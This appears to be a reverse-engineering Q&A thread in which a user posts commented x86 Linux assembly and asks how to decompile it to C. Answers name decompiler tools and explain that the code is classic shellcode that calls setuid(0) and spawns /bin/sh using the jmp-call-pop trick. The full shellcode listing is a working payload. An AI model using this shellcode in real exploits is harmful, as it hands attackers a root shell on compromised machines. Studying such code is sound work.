6

I have the following assembly code over Linux distro:

# using the .data section for write permission
# instead of .text section
.section .data
.globl _start

_start:
     # displaying some characters for watermarking :-)
     xor %eax,%eax      # clear eax by setting eax to 0
     xor %ebx,%ebx      # clear ebx by setting ebx to 0
     xor %edx,%edx      # clear edx by setting edx to 0
     push %ebx          # push ebx into the stack, base pointer
                        # for the stack frame
     push $0xa696e55    # push U-n-i characters
     push $0x4d555544   # push M-U-U-D characters
     push $0x414d4841   # push A-M-H-A characters
     movl  %esp,%ecx    # move the sp to ecx
     movb  $0xf,%dl     # move 15 to dl (low d), it is the string length,
                        # notice the use of movb - move byte, this is to avoid null
     movb  $0x4,%al     # move 4 to al (low l),
                        # 4 is system call number for
                        # write(int fd, char *str, int len)
     int  $0x80         # call kernel/syscall

     # setuid(0)
     xor %eax,%eax      # clear eax by setting eax to 0
     xor %ebx,%ebx      # clear ebx by setting ebx to 0
     xor %ecx,%ecx      # clear ecx by setting ecx to 0
     movb $0x17,%al     # move 0x17 into al - setuid(0)
     int $0x80          # call kernel/syscall

     jmp do_call        # jump to get the address with the call trick

jmp_back:
     pop %ebx           # ebx (base pointer=stack frame pointer) has 
                        # the address of our string, use it to index
     xor %eax,%eax      # clear eax by setting eax to 0
     movb %al,7(%ebx)   # put a null at the N or shell[7]
     movl %ebx,8(%ebx)  # put the address of our string (in ebx) into shell[8]

     movl %eax,12(%ebx) # put the null at shell[12] our string now looks something like
                        # "/bin/sh\0(*ebx)(*0000)"
     xor %eax,%eax      # clear eax by setting eax to 0
     movb $11,%al       # put 11 which is execve

# syscall number into al
     leal 8(%ebx),%ecx  # put the address of XXXX i.e. (*ebx) into ecx
     leal 12(%ebx),%edx # put the address of YYYY i.e. (*0000) into edx
     int $0x80          # call kernel/syscall

do_call:
     call jmp_back

shell:
     .ascii "/bin/shNXXXXYYYY"

How is it possible to convert it to C code?

  • Looks like a crackme or CTF. So we should do your homework? :) ... I'm sure someone will. – 0xC0000022L Feb 24 '14 at 12:33
  • 2
    Come on MortezaLSC, this all commented and fully understandable... RTFM ! – perror Feb 25 '14 at 8:43
  • @0xC0000022L I found it...thank you for your help – MLSC Mar 1 '14 at 4:34
14

Here is the list of few decompilation tools / resources that you may find useful.

  • 1
    Are I able to decompile output of as test.s -o test to a C code(command line)? – MLSC Feb 24 '14 at 9:29
  • That depends. If test.s is generated from a c compiler such as cl.exe or gcc, chances are that you can get back the C code that is close to the original. If it is hand crafted assembly code, the decompiled code may not be any useful than the assembly itself. – pank4j Feb 25 '14 at 2:34
  • ok..I am using gcc...How is it possible? thanks – MLSC Feb 25 '14 at 10:07
  • Try opening the assembled binary in IDA Pro or Hopper. – pank4j Feb 25 '14 at 16:04
3

You need decompiler. I'd compile it and use retargetable decompiler It is easiest way to do this specific task.

3

I'd just like to add what this code actually does, since it's rather simple. It is designed to be used as a shellcode. A relatively standard one. What it does is write something to AHMADUMinU to STDIN (?) which gets printed on the screen and then proceeds to execute /bin/sh via syscall 11. It's fairly easy to follow since it's heavily commented. I am mentioning all of this because you won't be able to see many of the details in "decompiled code" which would look somethign like this:

main(){
write(0,"AHMA...",15);
execve("/bin/sh",NULL,NULL);
}

There is one interesting bit (old shellcoding trick). The shellcode needs to NULL terminate the "/bin/sh" string which will be somewhere on the stack. For that purpose, it needs to get its address. It does that by making two calls. Calls will make new stack frames, at which point it can just pop the saved stack frame.

  • 2
    It predates shellcode as well. DOS viruses did the same thing and typically referred to it as a "delta offset". – broadway Feb 27 '14 at 16:46
1

There's also asm2c that works on assembly source code instead of executables or objects files.

Tool to convert DOS Assembly code to C code Edit

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.